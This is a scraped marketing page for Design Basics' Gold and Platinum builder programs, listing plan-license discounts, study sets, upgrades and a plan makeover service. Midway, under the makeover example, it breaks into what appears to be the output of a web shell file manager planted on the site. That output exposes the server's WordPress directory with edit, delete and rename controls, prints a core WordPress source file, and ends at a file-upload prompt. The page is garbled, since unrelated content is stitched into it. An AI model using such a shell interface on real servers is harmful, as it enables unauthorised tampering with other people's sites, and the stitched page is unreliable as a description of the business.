we offer 2 programs

Gold and Platinum

build-footer

Gold Program

Get 10% offǂ your plan service home plan license when purchased directly from Design Basics – single- or unlimited-build (excludes plan alterations and design or drafting of custom home plans). Plus, 10% off product purchases.
(ǂExcludes home plans by W.L. Martin Home Designs #24000 to #24999.)

build-footer

Platinum Program

Get 15% offǂ your plan service home plan license when purchased directly from Design Basics – single- or unlimited-build (excludes plan alterations and design or drafting of custom home plans). Plus, 15% off product purchases.
(ǂExcludes home plans by W.L. Martin Home Designs - #24000 to #24999.)

program comparison

Program Benefit Summary

Choose between our GOLD or PLATINUM Programs and watch your savings multiply! Get study plan sets for a fraction of the cost – use them to estimate building costs and review design options with customers before you buy. Also, choose one FREE upgrade with every order, such as an alternate foundation or reverse plan set.

Builder Benefits

Gold

Platinum

Plan Service Home Plan License Purchase Discount (includes single- and unlimited-build licenses)

10%

15%

Product Purchase Discount

10%

15%

25% off Digital Home Plan Book

50% off your 1st New Trend Makeover

Concierge Service (We'll recommend plans for your next project)

Most Recent Home Plan Books FREE

$100 Study Plan Sets* for Estimating Purposes (up to five different plans per year)

One FREE Upgrade Per Plan License*† Purchased (from available upgrades; varies by plan)

Promotional License with Livability at a Glance™ Floor Plans (per plan licensed through program)

Program Cost

$249/yr

$349/yr

Contact us for more information.
*Applies to Design Basics, Scholz Design, Carmichael & Dame Designs and Plan Pros, Inc., plan licenses purchased directly from Design Basics. †Full construction prints only (PDF, sets, or CAD files).

Still looking for more?

Kickstart Your Neighborhood℠

Expand your portfolio without the risk: Choose 5 plans for estimating purposes and market the plans with color rendered artwork.
You’ll be enrolled in our Builder-Centric PLATINUM program and receive all the additional benefits offered.

What You Will Get

build-footer

Digital Home Plan Book

Customize your digital plan book when you:

  • Personalize your cover design
  • Add your logo and contact information
  • Choose the featured plans with full-color images

Your customized Digital Home Plan Book is delivered in a PDF format that you can add to your website, email to customers, or easily print on 8 1/2 x 11″ paper. Upgrade to a Digital Flip Book (see sample below) for an additional fee. *No additional discounts or offers apply.

build-footer

$100 Study Plan Sets*

Sometimes you need to price out a home in order to get the sale, but you need to have the plans in order to get accurate bids. As a Builder-Centric member you can order estimating Study Sets* for up to five (5) different home plans per year for just $100 per study set! (Starting with the 6th plan, Study Sets are $250 each.)

*NOT FOR CONSTRUCTION PURPOSES. Applies to Design Basics, Design Basics/HBN, Scholz Design, Carmichael & Dame Designs, and Plan Pros, Inc. home plans. Full construction prints only (PDF or CAD files). Excludes custom designs. Does not apply to prior plan license purchases. Cannot be combined with any other promotion or discount.

One FREE Upgrade* per Plan Licensed

build-footer
Alternate Foundation
build-footer
Materials Estimate

Alternate Exterior Wall Framing

build-footer
2" x 4"
build-footer
2" x 6"

Forward + Right Reading Reverse Plans

build-footer
build-footer

No-Step Entry Floor Plan

A No-Step Entry floor plan means there are no barriers to enter the home from the front door or the garage entry. This is helpful for occupants and guests with limited mobility.

*For each plan licensed, choose one available upgrade for that plan: Alternate foundation (basement, crawl, or slab); Alternate exterior wall framing (2x4" or 2x6"); Forward + Reverse plans; No-Step Entry floor plan; or a Materials list (not all upgrades available for all plans). Applies to Design Basics, LLC, Scholz Design, Carmichael & Dame Designs, and Plan Pros, Inc. home plans. Full construction prints only (PDF, sets, or CAD files). Excludes custom designs. Does not apply to prior plan license purchases. Cannot be combined with any other promotion or discount.

New Trend Makeover

Send it to us (CAD file, preferred), and we’ll update your plan with the latest design thought and must-have amenities! Increase marketability while staying with a home design you are familiar with – both in terms of construction and cost.

  • Open floorplan concept

  • Flex room, rather than formal dining

  • Rear foyer with discrete laundry and drop zone

  • Expansive entertaining kitchen with large island and walk-in pantry

  • Expandable dining area for large gatherings

  • Oversized spa shower with no door in owner’s bath

  • Linen storage in owner’s bath

  • Compartmented hall bath with natural light

  • More storage in bedroom 2; more light for bedroom 3

  • Note: The makeover is a design concept; no changes to the construction drawings.

    build-footer

    Example of new trend makeover

    Current Dir: /var/www/designbasics/wp-includes/
    
    [DIR]  ID3 [ delete | rename ]
    [DIR]  IXR [ delete | rename ]
    [DIR]  PHPMailer [ delete | rename ]
    [DIR]  Requests [ delete | rename ]
    [DIR]  SimplePie [ delete | rename ]
    [DIR]  Text [ delete | rename ]
    [FILE] admin-bar.php [ edit | delete | rename ]
    [DIR]  assets [ delete | rename ]
    [FILE] atomlib.php [ edit | delete | rename ]
    [FILE] author-template.php [ edit | delete | rename ]
    [DIR]  block-bindings [ delete | rename ]
    [FILE] block-bindings.php [ edit | delete | rename ]
    [FILE] block-editor.php [ edit | delete | rename ]
    [FILE] block-i18n.json [ edit | delete | rename ]
    [DIR]  block-patterns [ delete | rename ]
    [FILE] block-patterns.php [ edit | delete | rename ]
    [DIR]  block-supports [ delete | rename ]
    [FILE] block-template-utils.php [ edit | delete | rename ]
    [FILE] block-template.php [ edit | delete | rename ]
    [DIR]  blocks [ delete | rename ]
    [FILE] blocks.php [ edit | delete | rename ]
    [FILE] bookmark-template.php [ edit | delete | rename ]
    [FILE] bookmark.php [ edit | delete | rename ]
    [FILE] cache-compat.php [ edit | delete | rename ]
    [FILE] cache.php [ edit | delete | rename ]
    [FILE] canonical.php [ edit | delete | rename ]
    [FILE] capabilities.php [ edit | delete | rename ]
    [FILE] category-template.php [ edit | delete | rename ]
    [FILE] category.php [ edit | delete | rename ]
    [DIR]  certificates [ delete | rename ]
    [FILE] class-IXR.php [ edit | delete | rename ]
    [FILE] class-avif-info.php [ edit | delete | rename ]
    [FILE] class-feed.php [ edit | delete | rename ]
    [FILE] class-http.php [ edit | delete | rename ]
    [FILE] class-json.php [ edit | delete | rename ]
    [FILE] class-oembed.php [ edit | delete | rename ]
    [FILE] class-phpass.php [ edit | delete | rename ]
    [FILE] class-phpmailer.php [ edit | delete | rename ]
    [FILE] class-pop3.php [ edit | delete | rename ]
    [FILE] class-requests.php [ edit | delete | rename ]
    [FILE] class-simplepie.php [ edit | delete | rename ]
    [FILE] class-smtp.php [ edit | delete | rename ]
    [FILE] class-snoopy.php [ edit | delete | rename ]
    [FILE] class-walker-category-dropdown.php [ edit | delete | rename ]
    [FILE] class-walker-category.php [ edit | delete | rename ]
    [FILE] class-walker-comment.php [ edit | delete | rename ]
    [FILE] class-walker-nav-menu.php [ edit | delete | rename ]
    [FILE] class-walker-page-dropdown.php [ edit | delete | rename ]
    [FILE] class-walker-page.php [ edit | delete | rename ]
    [FILE] class-wp-admin-bar.php [ edit | delete | rename ]
    [FILE] class-wp-ajax-response.php [ edit | delete | rename ]
    [FILE] class-wp-application-passwords.php [ edit | delete | rename ]
    [FILE] class-wp-block-bindings-registry.php [ edit | delete | rename ]
    [FILE] class-wp-block-bindings-source.php [ edit | delete | rename ]
    [FILE] class-wp-block-editor-context.php [ edit | delete | rename ]
    [FILE] class-wp-block-list.php [ edit | delete | rename ]
    [FILE] class-wp-block-parser-block.php [ edit | delete | rename ]
    [FILE] class-wp-block-parser-frame.php [ edit | delete | rename ]
    [FILE] class-wp-block-parser.php [ edit | delete | rename ]
    [FILE] class-wp-block-pattern-categories-registry.php [ edit | delete | rename ]
    [FILE] class-wp-block-patterns-registry.php [ edit | delete | rename ]
    [FILE] class-wp-block-styles-registry.php [ edit | delete | rename ]
    [FILE] class-wp-block-supports.php [ edit | delete | rename ]
    [FILE] class-wp-block-template.php [ edit | delete | rename ]
    [FILE] class-wp-block-type-registry.php [ edit | delete | rename ]
    [FILE] class-wp-block-type.php [ edit | delete | rename ]
    [FILE] class-wp-block.php [ edit | delete | rename ]
    [FILE] class-wp-classic-to-block-menu-converter.php [ edit | delete | rename ]
    [FILE] class-wp-comment-query.php [ edit | delete | rename ]
    [FILE] class-wp-comment.php [ edit | delete | rename ]
    [FILE] class-wp-customize-control.php [ edit | delete | rename ]
    [FILE] class-wp-customize-manager.php [ edit | delete | rename ]
    [FILE] class-wp-customize-nav-menus.php [ edit | delete | rename ]
    [FILE] class-wp-customize-panel.php [ edit | delete | rename ]
    [FILE] class-wp-customize-section.php [ edit | delete | rename ]
    [FILE] class-wp-customize-setting.php [ edit | delete | rename ]
    [FILE] class-wp-customize-widgets.php [ edit | delete | rename ]
    [FILE] class-wp-date-query.php [ edit | delete | rename ]
    [FILE] class-wp-dependencies.php [ edit | delete | rename ]
    [FILE] class-wp-dependency.php [ edit | delete | rename ]
    [FILE] class-wp-duotone.php [ edit | delete | rename ]
    [FILE] class-wp-editor.php [ edit | delete | rename ]
    [FILE] class-wp-embed.php [ edit | delete | rename ]
    [FILE] class-wp-error.php [ edit | delete | rename ]
    [FILE] class-wp-fatal-error-handler.php [ edit | delete | rename ]
    [FILE] class-wp-feed-cache-transient.php [ edit | delete | rename ]
    [FILE] class-wp-feed-cache.php [ edit | delete | rename ]
    [FILE] class-wp-hook.php [ edit | delete | rename ]
    [FILE] class-wp-http-cookie.php [ edit | delete | rename ]
    [FILE] class-wp-http-curl.php [ edit | delete | rename ]
    [FILE] class-wp-http-encoding.php [ edit | delete | rename ]
    [FILE] class-wp-http-ixr-client.php [ edit | delete | rename ]
    [FILE] class-wp-http-proxy.php [ edit | delete | rename ]
    [FILE] class-wp-http-requests-hooks.php [ edit | delete | rename ]
    [FILE] class-wp-http-requests-response.php [ edit | delete | rename ]
    [FILE] class-wp-http-response.php [ edit | delete | rename ]
    [FILE] class-wp-http-streams.php [ edit | delete | rename ]
    [FILE] class-wp-http.php [ edit | delete | rename ]
    [FILE] class-wp-image-editor-gd.php [ edit | delete | rename ]
    [FILE] class-wp-image-editor-imagick.php [ edit | delete | rename ]
    [FILE] class-wp-image-editor.php [ edit | delete | rename ]
    [FILE] class-wp-list-util.php [ edit | delete | rename ]
    [FILE] class-wp-locale-switcher.php [ edit | delete | rename ]
    [FILE] class-wp-locale.php [ edit | delete | rename ]
    [FILE] class-wp-matchesmapregex.php [ edit | delete | rename ]
    [FILE] class-wp-meta-query.php [ edit | delete | rename ]
    [FILE] class-wp-metadata-lazyloader.php [ edit | delete | rename ]
    [FILE] class-wp-navigation-fallback.php [ edit | delete | rename ]
    [FILE] class-wp-network-query.php [ edit | delete | rename ]
    [FILE] class-wp-network.php [ edit | delete | rename ]
    [FILE] class-wp-object-cache.php [ edit | delete | rename ]
    [FILE] class-wp-oembed-controller.php [ edit | delete | rename ]
    [FILE] class-wp-oembed.php [ edit | delete | rename ]
    [FILE] class-wp-paused-extensions-storage.php [ edit | delete | rename ]
    [FILE] class-wp-plugin-dependencies.php [ edit | delete | rename ]
    [FILE] class-wp-post-type.php [ edit | delete | rename ]
    [FILE] class-wp-post.php [ edit | delete | rename ]
    [FILE] class-wp-query.php [ edit | delete | rename ]
    [FILE] class-wp-recovery-mode-cookie-service.php [ edit | delete | rename ]
    [FILE] class-wp-recovery-mode-email-service.php [ edit | delete | rename ]
    [FILE] class-wp-recovery-mode-key-service.php [ edit | delete | rename ]
    [FILE] class-wp-recovery-mode-link-service.php [ edit | delete | rename ]
    [FILE] class-wp-recovery-mode.php [ edit | delete | rename ]
    [FILE] class-wp-rewrite.php [ edit | delete | rename ]
    [FILE] class-wp-role.php [ edit | delete | rename ]
    [FILE] class-wp-roles.php [ edit | delete | rename ]
    [FILE] class-wp-script-modules.php [ edit | delete | rename ]
    [FILE] class-wp-scripts.php [ edit | delete | rename ]
    [FILE] class-wp-session-tokens.php [ edit | delete | rename ]
    [FILE] class-wp-simplepie-file.php [ edit | delete | rename ]
    [FILE] class-wp-simplepie-sanitize-kses.php [ edit | delete | rename ]
    [FILE] class-wp-site-query.php [ edit | delete | rename ]
    [FILE] class-wp-site.php [ edit | delete | rename ]
    [FILE] class-wp-styles.php [ edit | delete | rename ]
    [FILE] class-wp-tax-query.php [ edit | delete | rename ]
    [FILE] class-wp-taxonomy.php [ edit | delete | rename ]
    [FILE] class-wp-term-query.php [ edit | delete | rename ]
    [FILE] class-wp-term.php [ edit | delete | rename ]
    [FILE] class-wp-text-diff-renderer-inline.php [ edit | delete | rename ]
    [FILE] class-wp-text-diff-renderer-table.php [ edit | delete | rename ]
    [FILE] class-wp-textdomain-registry.php [ edit | delete | rename ]
    [FILE] class-wp-theme-json-data.php [ edit | delete | rename ]
    [FILE] class-wp-theme-json-resolver.php [ edit | delete | rename ]
    [FILE] class-wp-theme-json-schema.php [ edit | delete | rename ]
    [FILE] class-wp-theme-json.php [ edit | delete | rename ]
    [FILE] class-wp-theme.php [ edit | delete | rename ]
    [FILE] class-wp-token-map.php [ edit | delete | rename ]
    [FILE] class-wp-user-meta-session-tokens.php [ edit | delete | rename ]
    [FILE] class-wp-user-query.php [ edit | delete | rename ]
    [FILE] class-wp-user-request.php [ edit | delete | rename ]
    [FILE] class-wp-user.php [ edit | delete | rename ]
    [FILE] class-wp-walker.php [ edit | delete | rename ]
    [FILE] class-wp-widget-factory.php [ edit | delete | rename ]
    [FILE] class-wp-widget.php [ edit | delete | rename ]
    [FILE] class-wp-xmlrpc-server.php [ edit | delete | rename ]
    [FILE] class-wp.php [ edit | delete | rename ]
    [FILE] class-wpdb.php [ edit | delete | rename ]
    [FILE] class.wp-dependencies.php [ edit | delete | rename ]
    [FILE] class.wp-scripts.php [ edit | delete | rename ]
    [FILE] class.wp-styles.php [ edit | delete | rename ]
    [FILE] comment-template.php [ edit | delete | rename ]
    [FILE] comment.php [ edit | delete | rename ]
    [FILE] compat.php [ edit | delete | rename ]
    [FILE] cron.php [ edit | delete | rename ]
    [DIR]  css [ delete | rename ]
    [DIR]  customize [ delete | rename ]
    [FILE] date.php [ edit | delete | rename ]
    [FILE] default-constants.php [ edit | delete | rename ]
    [FILE] default-filters.php [ edit | delete | rename ]
    [FILE] default-widgets.php [ edit | delete | rename ]
    [FILE] deprecated.php [ edit | delete | rename ]
    [FILE] embed-template.php [ edit | delete | rename ]
    [FILE] embed.php [ edit | delete | rename ]
    [FILE] error-protection.php [ edit | delete | rename ]
    [FILE] feed-atom-comments.php [ edit | delete | rename ]
    [FILE] feed-atom.php [ edit | delete | rename ]
    [FILE] feed-rdf.php [ edit | delete | rename ]
    [FILE] feed-rss.php [ edit | delete | rename ]
    [FILE] feed-rss2-comments.php [ edit | delete | rename ]
    [FILE] feed-rss2.php [ edit | delete | rename ]
    [FILE] feed.php [ edit | delete | rename ]
    [DIR]  fonts [ delete | rename ]
    [FILE] fonts.php [ edit | delete | rename ]
    [FILE] formatting.php [ edit | delete | rename ]
    [FILE] functions.php [ edit | delete | rename ]
    [FILE] functions.wp-scripts.php [ edit | delete | rename ]
    [FILE] functions.wp-styles.php [ edit | delete | rename ]
    [FILE] general-template.php [ edit | delete | rename ]
    [FILE] global-styles-and-settings.php [ edit | delete | rename ]
    [DIR]  html-api [ delete | rename ]
    [FILE] http.php [ edit | delete | rename ]
    [FILE] https-detection.php [ edit | delete | rename ]
    [FILE] https-migration.php [ edit | delete | rename ]
    [DIR]  images [ delete | rename ]
    [DIR]  interactivity-api [ delete | rename ]
    [DIR]  js [ delete | rename ]
    [FILE] kses.php [ edit | delete | rename ]
    [DIR]  l10n [ delete | rename ]
    [FILE] l10n.php [ edit | delete | rename ]
    [FILE] link-template.php [ edit | delete | rename ]
    [FILE] load.php [ edit | delete | rename ]
    [FILE] locale.php [ edit | delete | rename ]
    [FILE] media-template.php [ edit | delete | rename ]
    [FILE] media.php [ edit | delete | rename ]
    [FILE] meta.php [ edit | delete | rename ]
    [FILE] ms-blogs.php [ edit | delete | rename ]
    [FILE] ms-default-constants.php [ edit | delete | rename ]
    [FILE] ms-default-filters.php [ edit | delete | rename ]
    [FILE] ms-deprecated.php [ edit | delete | rename ]
    [FILE] ms-files.php [ edit | delete | rename ]
    [FILE] ms-functions.php [ edit | delete | rename ]
    [FILE] ms-load.php [ edit | delete | rename ]
    [FILE] ms-network.php [ edit | delete | rename ]
    [FILE] ms-settings.php [ edit | delete | rename ]
    [FILE] ms-site.php [ edit | delete | rename ]
    [FILE] nav-menu-template.php [ edit | delete | rename ]
    [FILE] nav-menu.php [ edit | delete | rename ]
    [FILE] option.php [ edit | delete | rename ]
    [DIR]  php-compat [ delete | rename ]
    [FILE] pluggable-deprecated.php [ edit | delete | rename ]
    [FILE] pluggable.php [ edit | delete | rename ]
    [FILE] plugin.php [ edit | delete | rename ]
    [DIR]  pomo [ delete | rename ]
    [FILE] post-formats.php [ edit | delete | rename ]
    [FILE] post-template.php [ edit | delete | rename ]
    [FILE] post-thumbnail-template.php [ edit | delete | rename ]
    [FILE] post.php [ edit | delete | rename ]
    [FILE] query.php [ edit | delete | rename ]
    [FILE] registration-functions.php [ edit | delete | rename ]
    [FILE] registration.php [ edit | delete | rename ]
    [DIR]  rest-api [ delete | rename ]
    [FILE] rest-api.php [ edit | delete | rename ]
    [FILE] revision.php [ edit | delete | rename ]
    [FILE] rewrite.php [ edit | delete | rename ]
    [FILE] robots-template.php [ edit | delete | rename ]
    [FILE] rss-functions.php [ edit | delete | rename ]
    [FILE] rss.php [ edit | delete | rename ]
    [FILE] script-loader.php [ edit | delete | rename ]
    [FILE] script-modules.php [ edit | delete | rename ]
    [FILE] session.php [ edit | delete | rename ]
    [FILE] shortcodes.php [ edit | delete | rename ]
    [DIR]  sitemaps [ delete | rename ]
    [FILE] sitemaps.php [ edit | delete | rename ]
    [DIR]  sodium_compat [ delete | rename ]
    [FILE] spl-autoload-compat.php [ edit | delete | rename ]
    [DIR]  style-engine [ delete | rename ]
    [FILE] style-engine.php [ edit | delete | rename ]
    [FILE] taxonomy.php [ edit | delete | rename ]
    [FILE] template-canvas.php [ edit | delete | rename ]
    [FILE] template-loader.php [ edit | delete | rename ]
    [FILE] template.php [ edit | delete | rename ]
    [DIR]  theme-compat [ delete | rename ]
    [FILE] theme-i18n.json [ edit | delete | rename ]
    [FILE] theme-previews.php [ edit | delete | rename ]
    [FILE] theme-templates.php [ edit | delete | rename ]
    [FILE] theme.json [ edit | delete | rename ]
    [FILE] theme.php [ edit | delete | rename ]
    [FILE] update.php [ edit | delete | rename ]
    [FILE] user.php [ edit | delete | rename ]
    [FILE] vars.php [ edit | delete | rename ]
    [FILE] version.php [ edit | delete | rename ]
    [DIR]  widgets [ delete | rename ]
    [FILE] widgets.php [ edit | delete | rename ]
    [FILE] wp-db.php [ edit | delete | rename ]
    [FILE] wp-diff.php [ edit | delete | rename ]
    
    Viewing: /var/www/designbasics/wp-includes/class-walker-nav-menu.php
    
    <?php
    /**
     * Nav Menu API: Walker_Nav_Menu class
     *
     * @package WordPress
     * @subpackage Nav_Menus
     * @since 4.6.0
     */
    
    /**
     * Core class used to implement an HTML list of nav menu items.
     *
     * @since 3.0.0
     *
     * @see Walker
     */
    class Walker_Nav_Menu extends Walker {
    	/**
    	 * What the class handles.
    	 *
    	 * @since 3.0.0
    	 * @var string
    	 *
    	 * @see Walker::$tree_type
    	 */
    	public $tree_type = array( 'post_type', 'taxonomy', 'custom' );
    
    	/**
    	 * Database fields to use.
    	 *
    	 * @since 3.0.0
    	 * @todo Decouple this.
    	 * @var string[]
    	 *
    	 * @see Walker::$db_fields
    	 */
    	public $db_fields = array(
    		'parent' => 'menu_item_parent',
    		'id'     => 'db_id',
    	);
    
    	/**
    	 * Starts the list before the elements are added.
    	 *
    	 * @since 3.0.0
    	 *
    	 * @see Walker::start_lvl()
    	 *
    	 * @param string   $output Used to append additional content (passed by reference).
    	 * @param int      $depth  Depth of menu item. Used for padding.
    	 * @param stdClass $args   An object of wp_nav_menu() arguments.
    	 */
    	public function start_lvl( &$output, $depth = 0, $args = null ) {
    		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
    			$t = '';
    			$n = '';
    		} else {
    			$t = "\t";
    			$n = "\n";
    		}
    		$indent = str_repeat( $t, $depth );
    
    		// Default class.
    		$classes = array( 'sub-menu' );
    
    		/**
    		 * Filters the CSS class(es) applied to a menu list element.
    		 *
    		 * @since 4.8.0
    		 *
    		 * @param string[] $classes Array of the CSS classes that are applied to the menu `<ul>` element.
    		 * @param stdClass $args    An object of `wp_nav_menu()` arguments.
    		 * @param int      $depth   Depth of menu item. Used for padding.
    		 */
    		$class_names = implode( ' ', apply_filters( 'nav_menu_submenu_css_class', $classes, $args, $depth ) );
    
    		$atts          = array();
    		$atts['class'] = ! empty( $class_names ) ? $class_names : '';
    
    		/**
    		 * Filters the HTML attributes applied to a menu list element.
    		 *
    		 * @since 6.3.0
    		 *
    		 * @param array $atts {
    		 *     The HTML attributes applied to the `<ul>` element, empty strings are ignored.
    		 *
    		 *     @type string $class    HTML CSS class attribute.
    		 * }
    		 * @param stdClass $args      An object of `wp_nav_menu()` arguments.
    		 * @param int      $depth     Depth of menu item. Used for padding.
    		 */
    		$atts       = apply_filters( 'nav_menu_submenu_attributes', $atts, $args, $depth );
    		$attributes = $this->build_atts( $atts );
    
    		$output .= "{$n}{$indent}<ul{$attributes}>{$n}";
    	}
    
    	/**
    	 * Ends the list of after the elements are added.
    	 *
    	 * @since 3.0.0
    	 *
    	 * @see Walker::end_lvl()
    	 *
    	 * @param string   $output Used to append additional content (passed by reference).
    	 * @param int      $depth  Depth of menu item. Used for padding.
    	 * @param stdClass $args   An object of wp_nav_menu() arguments.
    	 */
    	public function end_lvl( &$output, $depth = 0, $args = null ) {
    		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
    			$t = '';
    			$n = '';
    		} else {
    			$t = "\t";
    			$n = "\n";
    		}
    		$indent  = str_repeat( $t, $depth );
    		$output .= "$indent</ul>{$n}";
    	}
    
    	/**
    	 * Starts the element output.
    	 *
    	 * @since 3.0.0
    	 * @since 4.4.0 The {@see 'nav_menu_item_args'} filter was added.
    	 * @since 5.9.0 Renamed `$item` to `$data_object` and `$id` to `$current_object_id`
    	 *              to match parent class for PHP 8 named parameter support.
    	 *
    	 * @see Walker::start_el()
    	 *
    	 * @param string   $output            Used to append additional content (passed by reference).
    	 * @param WP_Post  $data_object       Menu item data object.
    	 * @param int      $depth             Depth of menu item. Used for padding.
    	 * @param stdClass $args              An object of wp_nav_menu() arguments.
    	 * @param int      $current_object_id Optional. ID of the current menu item. Default 0.
    	 */
    	public function start_el( &$output, $data_object, $depth = 0, $args = null, $current_object_id = 0 ) {
    		// Restores the more descriptive, specific name for use within this method.
    		$menu_item = $data_object;
    
    		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
    			$t = '';
    			$n = '';
    		} else {
    			$t = "\t";
    			$n = "\n";
    		}
    		$indent = ( $depth ) ? str_repeat( $t, $depth ) : '';
    
    		$classes   = empty( $menu_item->classes ) ? array() : (array) $menu_item->classes;
    		$classes[] = 'menu-item-' . $menu_item->ID;
    
    		/**
    		 * Filters the arguments for a single nav menu item.
    		 *
    		 * @since 4.4.0
    		 *
    		 * @param stdClass $args      An object of wp_nav_menu() arguments.
    		 * @param WP_Post  $menu_item Menu item data object.
    		 * @param int      $depth     Depth of menu item. Used for padding.
    		 */
    		$args = apply_filters( 'nav_menu_item_args', $args, $menu_item, $depth );
    
    		/**
    		 * Filters the CSS classes applied to a menu item's list item element.
    		 *
    		 * @since 3.0.0
    		 * @since 4.1.0 The `$depth` parameter was added.
    		 *
    		 * @param string[] $classes   Array of the CSS classes that are applied to the menu item's `<li>` element.
    		 * @param WP_Post  $menu_item The current menu item object.
    		 * @param stdClass $args      An object of wp_nav_menu() arguments.
    		 * @param int      $depth     Depth of menu item. Used for padding.
    		 */
    		$class_names = implode( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $menu_item, $args, $depth ) );
    
    		/**
    		 * Filters the ID attribute applied to a menu item's list item element.
    		 *
    		 * @since 3.0.1
    		 * @since 4.1.0 The `$depth` parameter was added.
    		 *
    		 * @param string   $menu_item_id The ID attribute applied to the menu item's `<li>` element.
    		 * @param WP_Post  $menu_item    The current menu item.
    		 * @param stdClass $args         An object of wp_nav_menu() arguments.
    		 * @param int      $depth        Depth of menu item. Used for padding.
    		 */
    		$id = apply_filters( 'nav_menu_item_id', 'menu-item-' . $menu_item->ID, $menu_item, $args, $depth );
    
    		$li_atts          = array();
    		$li_atts['id']    = ! empty( $id ) ? $id : '';
    		$li_atts['class'] = ! empty( $class_names ) ? $class_names : '';
    
    		/**
    		 * Filters the HTML attributes applied to a menu's list item element.
    		 *
    		 * @since 6.3.0
    		 *
    		 * @param array $li_atts {
    		 *     The HTML attributes applied to the menu item's `<li>` element, empty strings are ignored.
    		 *
    		 *     @type string $class        HTML CSS class attribute.
    		 *     @type string $id           HTML id attribute.
    		 * }
    		 * @param WP_Post  $menu_item The current menu item object.
    		 * @param stdClass $args      An object of wp_nav_menu() arguments.
    		 * @param int      $depth     Depth of menu item. Used for padding.
    		 */
    		$li_atts       = apply_filters( 'nav_menu_item_attributes', $li_atts, $menu_item, $args, $depth );
    		$li_attributes = $this->build_atts( $li_atts );
    
    		$output .= $indent . '<li' . $li_attributes . '>';
    
    		$atts           = array();
    		$atts['title']  = ! empty( $menu_item->attr_title ) ? $menu_item->attr_title : '';
    		$atts['target'] = ! empty( $menu_item->target ) ? $menu_item->target : '';
    		if ( '_blank' === $menu_item->target && empty( $menu_item->xfn ) ) {
    			$atts['rel'] = 'noopener';
    		} else {
    			$atts['rel'] = $menu_item->xfn;
    		}
    
    		if ( ! empty( $menu_item->url ) ) {
    			if ( get_privacy_policy_url() === $menu_item->url ) {
    				$atts['rel'] = empty( $atts['rel'] ) ? 'privacy-policy' : $atts['rel'] . ' privacy-policy';
    			}
    
    			$atts['href'] = $menu_item->url;
    		} else {
    			$atts['href'] = '';
    		}
    
    		$atts['aria-current'] = $menu_item->current ? 'page' : '';
    
    		/**
    		 * Filters the HTML attributes applied to a menu item's anchor element.
    		 *
    		 * @since 3.6.0
    		 * @since 4.1.0 The `$depth` parameter was added.
    		 *
    		 * @param array $atts {
    		 *     The HTML attributes applied to the menu item's `<a>` element, empty strings are ignored.
    		 *
    		 *     @type string $title        Title attribute.
    		 *     @type string $target       Target attribute.
    		 *     @type string $rel          The rel attribute.
    		 *     @type string $href         The href attribute.
    		 *     @type string $aria-current The aria-current attribute.
    		 * }
    		 * @param WP_Post  $menu_item The current menu item object.
    		 * @param stdClass $args      An object of wp_nav_menu() arguments.
    		 * @param int      $depth     Depth of menu item. Used for padding.
    		 */
    		$atts       = apply_filters( 'nav_menu_link_attributes', $atts, $menu_item, $args, $depth );
    		$attributes = $this->build_atts( $atts );
    
    		/** This filter is documented in wp-includes/post-template.php */
    		$title = apply_filters( 'the_title', $menu_item->title, $menu_item->ID );
    
    		/**
    		 * Filters a menu item's title.
    		 *
    		 * @since 4.4.0
    		 *
    		 * @param string   $title     The menu item's title.
    		 * @param WP_Post  $menu_item The current menu item object.
    		 * @param stdClass $args      An object of wp_nav_menu() arguments.
    		 * @param int      $depth     Depth of menu item. Used for padding.
    		 */
    		$title = apply_filters( 'nav_menu_item_title', $title, $menu_item, $args, $depth );
    
    		$item_output  = $args->before;
    		$item_output .= '<a' . $attributes . '>';
    		$item_output .= $args->link_before . $title . $args->link_after;
    		$item_output .= '</a>';
    		$item_output .= $args->after;
    
    		/**
    		 * Filters a menu item's starting output.
    		 *
    		 * The menu item's starting output only includes `$args->before`, the opening `<a>`,
    		 * the menu item's title, the closing `</a>`, and `$args->after`. Currently, there is
    		 * no filter for modifying the opening and closing `<li>` for a menu item.
    		 *
    		 * @since 3.0.0
    		 *
    		 * @param string   $item_output The menu item's starting HTML output.
    		 * @param WP_Post  $menu_item   Menu item data object.
    		 * @param int      $depth       Depth of menu item. Used for padding.
    		 * @param stdClass $args        An object of wp_nav_menu() arguments.
    		 */
    		$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $menu_item, $depth, $args );
    	}
    
    	/**
    	 * Ends the element output, if needed.
    	 *
    	 * @since 3.0.0
    	 * @since 5.9.0 Renamed `$item` to `$data_object` to match parent class for PHP 8 named parameter support.
    	 *
    	 * @see Walker::end_el()
    	 *
    	 * @param string   $output      Used to append additional content (passed by reference).
    	 * @param WP_Post  $data_object Menu item data object. Not used.
    	 * @param int      $depth       Depth of page. Not Used.
    	 * @param stdClass $args        An object of wp_nav_menu() arguments.
    	 */
    	public function end_el( &$output, $data_object, $depth = 0, $args = null ) {
    		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
    			$t = '';
    			$n = '';
    		} else {
    			$t = "\t";
    			$n = "\n";
    		}
    		$output .= "</li>{$n}";
    	}
    
    	/**
    	 * Builds a string of HTML attributes from an array of key/value pairs.
    	 * Empty values are ignored.
    	 *
    	 * @since 6.3.0
    	 *
    	 * @param  array $atts Optional. An array of HTML attribute key/value pairs. Default empty array.
    	 * @return string A string of HTML attributes.
    	 */
    	protected function build_atts( $atts = array() ) {
    		$attribute_string = '';
    		foreach ( $atts as $attr => $value ) {
    			if ( false !== $value && '' !== $value && is_scalar( $value ) ) {
    				$value             = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
    				$attribute_string .= ' ' . $attr . '="' . $value . '"';
    			}
    		}
    		return $attribute_string;
    	}
    }
    
    Upload File: